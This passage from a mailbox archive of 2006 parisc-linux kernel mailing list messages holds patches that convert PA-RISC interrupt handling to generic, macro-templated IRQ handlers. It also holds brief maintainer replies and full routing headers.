+handle_level_irq##NAME(unsigned int irq, struct irq_desc *desc)		\
+{									\
+	unsigned int cpu = smp_processor_id();				\
+	struct irqaction *action;					\
+	irqreturn_t action_ret;						\
+									\
+	spin_lock(&desc->lock);						\
+	MASK(desc, irq);						\
+									\
+	if (unlikely(desc->status & IRQ_INPROGRESS))			\
+		goto out_unlock;					\
+	desc->status &= ~(IRQ_REPLAY | IRQ_WAITING);			\
+	kstat_cpu(cpu).irqs[irq]++;					\
+									\
+	/*								\
+	 * If its disabled or no action available			\
+	 * keep it masked and get out of here				\
+	 */								\
+	action = desc->action;						\
+	if (unlikely(!action || (desc->status & IRQ_DISABLED))) {	\
+		desc->status |= IRQ_PENDING;				\
+		goto out_unlock;					\
+	}								\
+									\
+	desc->status |= IRQ_INPROGRESS;					\
+	desc->status &= ~IRQ_PENDING;					\
+	spin_unlock(&desc->lock);					\
+									\
+	action_ret = handle_IRQ_event(irq, action);			\
+	if (!noirqdebug)						\
+		note_interrupt(irq, desc, action_ret);			\
+									\
+	spin_lock(&desc->lock);						\
+	desc->status &= ~IRQ_INPROGRESS;				\
+	UNMASK(desc,irq);						\
+out_unlock:								\
+	spin_unlock(&desc->lock);					\
+}
+
+#define HANDLE_SPECIFIC_IRQ(NAME, ACK, EOI, HANDLER)			\
+void fastcall								\
+handle_specific_irq##NAME(unsigned int irq, struct irq_desc *desc)	\
+{									\
+	irqreturn_t action_ret;						\
+									\
+	kstat_this_cpu.irqs[irq]++;					\
+									\
+	ACK(desc, irq);							\
+									\
+	action_ret = HANDLER(irq, desc->action->dev_id);		\
+	if (!noirqdebug)						\
+		note_interrupt(irq, desc, action_ret);			\
+									\
+	EOI(desc,irq);							\
+}
+
 /**
  *	dynamic_irq_init - initialize a dynamically allocated irq
  *	@irq:	irq number to initialize
@@ -247,6 +328,24 @@ static inline void mask_ack_irq(struct i
 	}
 }
 
+static inline void unmask_enabled_irq(struct irq_desc *desc, int irq)
+{
+	if (!(desc->status & IRQ_DISABLED) && desc->chip->unmask)
+		desc->chip->unmask(irq);
+}
+
+static inline void ack_irq(struct irq_desc *desc, int irq)
+{
+	if (desc->chip->ack)
+		desc->chip->ack(irq);
+}
+
+static inline void eoi_irq(struct irq_desc *desc, int irq)
+{
+	if (desc->chip->eoi)
+		desc->chip->eoi(irq);
+}
+
 /**
  *	handle_simple_irq - Simple and software-decoded IRQs.
  *	@irq:	the interrupt number
@@ -300,46 +399,7 @@ out_unlock:
  *	it after the associated handler has acknowledged the device, so the
  *	interrupt line is back to inactive.
  */
-void fastcall
-handle_level_irq(unsigned int irq, struct irq_desc *desc)
-{
-	unsigned int cpu = smp_processor_id();
-	struct irqaction *action;
-	irqreturn_t action_ret;
-
-	spin_lock(&desc->lock);
-	mask_ack_irq(desc, irq);
-
-	if (unlikely(desc->status & IRQ_INPROGRESS))
-		goto out_unlock;
-	desc->status &= ~(IRQ_REPLAY | IRQ_WAITING);
-	kstat_cpu(cpu).irqs[irq]++;
-
-	/*
-	 * If its disabled or no action available
-	 * keep it masked and get out of here
-	 */
-	action = desc->action;
-	if (unlikely(!action || (desc->status & IRQ_DISABLED))) {
-		desc->status |= IRQ_PENDING;
-		goto out_unlock;
-	}
-
-	desc->status |= IRQ_INPROGRESS;
-	desc->status &= ~IRQ_PENDING;
-	spin_unlock(&desc->lock);
-
-	action_ret = handle_IRQ_event(irq, action);
-	if (!noirqdebug)
-		note_interrupt(irq, desc, action_ret);
-
-	spin_lock(&desc->lock);
-	desc->status &= ~IRQ_INPROGRESS;
-	if (!(desc->status & IRQ_DISABLED) && desc->chip->unmask)
-		desc->chip->unmask(irq);
-out_unlock:
-	spin_unlock(&desc->lock);
-}
+HANDLE_LEVEL_IRQ(, mask_ack_irq, unmask_enabled_irq)
 
 /**
  *	handle_fasteoi_irq - irq handler for transparent controllers
@@ -472,7 +532,6 @@ out_unlock:
 	spin_unlock(&desc->lock);
 }
 
-#ifdef CONFIG_SMP
 /**
  *	handle_percpu_IRQ - Per CPU local irq handler
  *	@irq:	the interrupt number
@@ -480,25 +539,11 @@ out_unlock:
  *
  *	Per CPU interrupts on SMP machines without locking requirements
  */
-void fastcall
-handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
-{
-	irqreturn_t action_ret;
-
-	kstat_this_cpu.irqs[irq]++;
-
-	if (desc->chip->ack)
-		desc->chip->ack(irq);
+HANDLE_PERCPU_IRQ(, ack_irq, eoi_irq)
 
-	action_ret = handle_IRQ_event(irq, desc->action);
-	if (!noirqdebug)
-		note_interrupt(irq, desc, action_ret);
-
-	if (desc->chip->eoi)
-		desc->chip->eoi(irq);
-}

From - Thu Nov 08 21:37:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] parisc: pdcpat remove extra brackets
Date: Thu, 7 Dec 2006 21:41:04 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20061208024104.GA2606__30169.2582354464$1416624631$gmane$org@athena.road.mcmartin.ca>
References: <200611301020.51261.m.kozlowski@tuxland.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624631 28316 80.91.229.3 (22 Nov 2014 02:50:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:31 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 kyle@parisc-linux.org,
 parisc-linux@parisc-linux.org,
 matthew@wil.cx
To: Mariusz Kozlowski <m.kozlowski@tuxland.pl>
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Dec 2006 02:41:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx095) with SMTP; 08 Dec 2006 03:41:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DB3C7D92D;
	Thu,  7 Dec 2006 19:41:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25038-05; Thu, 7 Dec 2006 19:41:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74BAA7D937;
	Thu,  7 Dec 2006 19:41:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 161227D919
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Dec 2006 19:41:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25038-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Dec 2006 19:41:28 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 30E8E7D918
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Dec 2006 19:41:28 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 832D4494014; Thu,  7 Dec 2006 19:41:27 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 2010D494006;
	Thu,  7 Dec 2006 19:41:21 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id D95565840B0;
	Thu,  7 Dec 2006 21:41:18 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id EAB085840BD;
	Thu,  7 Dec 2006 21:41:13 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 95B81837DB;
	Thu,  7 Dec 2006 21:41:13 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 692553B06E; Thu,  7 Dec 2006 21:41:05 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200611301020.51261.m.kozlowski@tuxland.pl>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: h7kNdqVBODBpUrWUfGRMtv01Ji9SWtLQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25411

On Thu, Nov 30, 2006 at 10:20:50AM +0100, Mariusz Kozlowski wrote:
> Hello,
> 
> 	This patch removes extra brackets.
> 
> Signed-off-by: Mariusz Kozlowski <m.kozlowski@tuxland.pl>
> 
>  include/asm-parisc/pdcpat.h |    4 ++--
>  1 file changed, 2 insertions(+), 2 deletions(-)
> 

applied, thanks.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 3/3] Convert parisc to generic irq handling
Date: Tue,  5 Dec 2006 22:15:07 -0700
Lines: 210
Approved: news@gmane.org
Message-ID: <11653821072923-git-send-email-matthew__43358.0840508968$1416624632$gmane$org@wil.cx>
References: <11653821071704-git-send-email-matthew@wil.cx>
	<1165382107889-git-send-email-matthew@wil.cx>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624632 28318 80.91.229.3 (22 Nov 2014 02:50:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:32 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 Matthew Wilcox <matthew@wil.cx>,
 parisc-linux@parisc-linux.org
To: linux-kernel@vger.kernel.org
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Dec 2006 05:15:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 06 Dec 2006 06:15:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 62D017D641;
	Tue,  5 Dec 2006 22:15:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32510-09; Tue, 5 Dec 2006 22:15:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7282E7D643;
	Tue,  5 Dec 2006 22:15:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF07E7D424
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Dec 2006 22:15:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32255-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Dec 2006 22:15:09 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 69A7D7D633
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Dec 2006 22:15:08 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 4F498494013; Tue,  5 Dec 2006 22:15:08 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 3662A494010; Tue,  5 Dec 2006 22:15:08 -0700 (MST)
X-Mailer: git-send-email 1.4.3.3
In-Reply-To: <1165382107889-git-send-email-matthew@wil.cx>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ojQEZfUVeSE5SL6WZHQhQNF2IGRvb8D0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25412

Also make use of the specific ability to template interrupts for the
timer and IPI interrupts.

Signed-off-by: James Bottomley <James.Bottomley@SteelEye.com>

Updated for pt_regs changes

Signed-off-by: Matthew Wilcox <matthew@wil.cx>
---
 arch/parisc/kernel/irq.c          |   23 ++++++++++-------------
 drivers/parisc/iosapic.c          |    7 +++----
 include/asm-parisc/irq-handlers.h |   15 +++++++++++++++
 include/asm-parisc/irq.h          |   21 +++++++++++++++++++--
 4 files changed, 47 insertions(+), 19 deletions(-)

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index b39c5b9..2a929a2 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -35,9 +35,6 @@
 
 #undef PARISC_IRQ_CR16_COUNTS
 
-extern irqreturn_t timer_interrupt(int, void *);
-extern irqreturn_t ipi_interrupt(int, void *);
-
 #define EIEM_MASK(irq)       (1UL<<(CPU_IRQ_MAX - irq))
 
 /* Bits in EIEM correlate with cpu_irq_action[].
@@ -88,7 +85,7 @@ static unsigned int cpu_startup_irq(unsi
 void no_ack_irq(unsigned int irq) { }
 void no_end_irq(unsigned int irq) { }
 
-void cpu_ack_irq(unsigned int irq)
+void cpu_ack_irq(struct irq_desc *dummy, unsigned int irq)
 {
 	unsigned long mask = EIEM_MASK(irq);
 	int cpu = smp_processor_id();
@@ -105,7 +102,7 @@ void cpu_ack_irq(unsigned int irq)
 	mtctl(mask, 23);
 }
 
-void cpu_end_irq(unsigned int irq)
+void cpu_end_irq(struct irq_desc *dummy, unsigned int irq)
 {
 	unsigned long mask = EIEM_MASK(irq);
 	int cpu = smp_processor_id();
@@ -155,8 +152,6 @@ static struct hw_interrupt_type cpu_inte
 	.shutdown	= cpu_disable_irq,
 	.enable		= cpu_enable_irq,
 	.disable	= cpu_disable_irq,
-	.ack		= cpu_ack_irq,
-	.end		= cpu_end_irq,
 #ifdef CONFIG_SMP
 	.set_affinity	= cpu_set_affinity_irq,
 #endif
@@ -253,8 +248,8 @@ int cpu_claim_irq(unsigned int irq, stru
 		return -EBUSY;
 
 	if (type) {
-		irq_desc[irq].chip = type;
-		irq_desc[irq].chip_data = data;
+		set_irq_chip(irq, type);
+		set_irq_chip_data(irq, data);
 		cpu_interrupt_type.enable(irq);
 	}
 	return 0;
@@ -377,7 +372,7 @@ void do_cpu_irq_mask(struct pt_regs *reg
 		goto set_out;
 	}
 #endif
-	__do_IRQ(irq);
+	generic_handle_irq(irq);
 
  out:
 	irq_exit();
@@ -406,15 +401,17 @@ static struct irqaction ipi_action = {
 static void claim_cpu_irqs(void)
 {
 	int i;
-	for (i = CPU_IRQ_BASE; i <= CPU_IRQ_MAX; i++) {
-		irq_desc[i].chip = &cpu_interrupt_type;
-	}
+	for (i = CPU_IRQ_BASE; i <= CPU_IRQ_MAX; i++)
+		set_irq_chip_and_handler(i, &cpu_interrupt_type,
+					 handle_level_irq_chip);
 
 	irq_desc[TIMER_IRQ].action = &timer_action;
 	irq_desc[TIMER_IRQ].status |= IRQ_PER_CPU;
+	set_irq_handler(TIMER_IRQ, handle_specific_irq_timer);
 #ifdef CONFIG_SMP
 	irq_desc[IPI_IRQ].action = &ipi_action;
 	irq_desc[IPI_IRQ].status = IRQ_PER_CPU;
+	set_irq_handler(IPI_IRQ, handle_specific_irq_ipi);
 #endif
 }
 
diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index 12bab64..4e9f660 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -686,13 +686,13 @@ printk("\n");
  * i386/ia64 support ISA devices and have to deal with
  * edge-triggered interrupts too.
  */
-static void iosapic_end_irq(unsigned int irq)
+void iosapic_end_irq(struct irq_desc *dummy, unsigned int irq)
 {
 	struct vector_info *vi = iosapic_get_vector(irq);
 	DBG(KERN_DEBUG "end_irq(%d): eoi(%p, 0x%x)\n", irq,
 			vi->eoi_addr, vi->eoi_data);
 	iosapic_eoi(vi->eoi_addr, vi->eoi_data);
-	cpu_end_irq(irq);
+	cpu_end_irq(NULL, irq);
 }
 
 static unsigned int iosapic_startup_irq(unsigned int irq)
@@ -729,8 +729,6 @@ static struct hw_interrupt_type iosapic_
 	.shutdown =	iosapic_disable_irq,
 	.enable =	iosapic_enable_irq,
 	.disable =	iosapic_disable_irq,
-	.ack =		cpu_ack_irq,
-	.end =		iosapic_end_irq,
 #ifdef CONFIG_SMP
 	.set_affinity =	iosapic_set_affinity_irq,
 #endif
@@ -819,6 +817,7 @@ int iosapic_fixup_irq(void *isi_obj, str
 	vi->eoi_data = cpu_to_le32(vi->txn_data);
 
 	cpu_claim_irq(vi->txn_irq, &iosapic_interrupt_type, vi);
+	set_irq_handler(vi->txn_irq, handle_level_irq_iosapic);
 
  out:
 	pcidev->irq = vi->txn_irq;
diff --git a/include/asm-parisc/irq-handlers.h b/include/asm-parisc/irq-handlers.h
new file mode 100644
index 0000000..95a9d1b
--- /dev/null
+++ b/include/asm-parisc/irq-handlers.h
@@ -0,0 +1,8 @@
+HANDLE_LEVEL_IRQ(_chip, cpu_ack_irq, cpu_end_irq)
+HANDLE_SPECIFIC_IRQ(_timer, cpu_ack_irq, cpu_end_irq, timer_interrupt)
+#ifdef CONFIG_SMP
+HANDLE_SPECIFIC_IRQ(_ipi, cpu_ack_irq, cpu_end_irq, ipi_interrupt)
+#endif
+#ifdef CONFIG_IOSAPIC
+HANDLE_LEVEL_IRQ(_iosapic, cpu_ack_irq, iosapic_end_irq)
+#endif
diff --git a/include/asm-parisc/irq.h b/include/asm-parisc/irq.h
index 399c819..ae29629 100644
--- a/include/asm-parisc/irq.h
+++ b/include/asm-parisc/irq.h
@@ -8,6 +8,7 @@
 #define _ASM_PARISC_IRQ_H
 
 #include <linux/cpumask.h>
+#include <linux/irqreturn.h>
 #include <asm/types.h>
 
 #define NO_IRQ		(-1)
@@ -26,6 +27,17 @@
 
 #define NR_IRQS		(CPU_IRQ_MAX + 1)
 
+#define ARCH_HAS_IRQ_HANDLERS
+
+struct irq_desc;
+
+void fastcall handle_level_irq_chip(unsigned int irq, struct irq_desc *desc);
+void fastcall handle_level_irq_iosapic(unsigned int irq, struct irq_desc *desc);
+void fastcall handle_percpu_irq_chip(unsigned int irq, struct irq_desc *desc);
+void fastcall handle_specific_irq_timer(unsigned int irq,
+					struct irq_desc *desc);
+void fastcall handle_specific_irq_ipi(unsigned int irq, struct irq_desc *desc);
+
 static __inline__ int irq_canonicalize(int irq)
 {
 	return (irq == 2) ? 9 : irq;
@@ -39,8 +51,9 @@ struct irq_chip;
  */
 void no_ack_irq(unsigned int irq);
 void no_end_irq(unsigned int irq);
-void cpu_ack_irq(unsigned int irq);
-void cpu_end_irq(unsigned int irq);
+void cpu_ack_irq(struct irq_desc *, unsigned int irq);
+void cpu_end_irq(struct irq_desc *, unsigned int irq);
+void iosapic_end_irq(struct irq_desc *, unsigned int irq);
 
 extern int txn_alloc_irq(unsigned int nbits);
 extern int txn_claim_irq(int);
@@ -51,6 +64,10 @@ extern unsigned long txn_affinity_addr(u
 extern int cpu_claim_irq(unsigned int irq, struct irq_chip *, void *);
 extern int cpu_check_affinity(unsigned int irq, cpumask_t *dest);
 
+/* Prototypes for the two directly called interrupts */
+extern irqreturn_t timer_interrupt(int, void *);
+extern irqreturn_t ipi_interrupt(int, void *);
+
 /* soft power switch support (power.c) */
 extern struct tasklet_struct power_tasklet;
 
-- 
1.4.3.3

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [2.6 patch] arch/parisc/Makefile: remove
	GCC_VERSION
Date: Thu, 7 Dec 2006 23:24:26 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20061208042425.GC2606__26884.9721331664$1416624632$gmane$org@athena.road.mcmartin.ca>
References: <20061201114908.GR11084@stusta.de>
	<20061201182355.GC10549@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624632 28322 80.91.229.3 (22 Nov 2014 02:50:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:32 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-kernel@vger.kernel.org,
 Kyle McMartin <kyle@parisc-linux.org>,
 Adrian Bunk <bunk@stusta.de>,
 Sam Ravnborg <sam@ravnborg.org>,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Dec 2006 04:24:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 08 Dec 2006 05:24:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 65BF97D958;
	Thu,  7 Dec 2006 21:24:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25914-02; Thu, 7 Dec 2006 21:24:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBDE97D945;
	Thu,  7 Dec 2006 21:24:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F4737D93D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Dec 2006 21:24:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25683-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Dec 2006 21:24:38 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A45817D93A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Dec 2006 21:24:38 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 65DAC494014; Thu,  7 Dec 2006 21:24:38 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 04B29494006;
	Thu,  7 Dec 2006 21:24:35 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id F3A3F5840B6;
	Thu,  7 Dec 2006 23:24:34 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 6D2265840AE;
	Thu,  7 Dec 2006 23:24:34 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 1B170837DB;
	Thu,  7 Dec 2006 23:24:34 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 770423B06E; Thu,  7 Dec 2006 23:24:26 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20061201182355.GC10549@colo.lackof.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IJNNLeUeZDI4DLHGdWY2YbFxemhmY8FE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
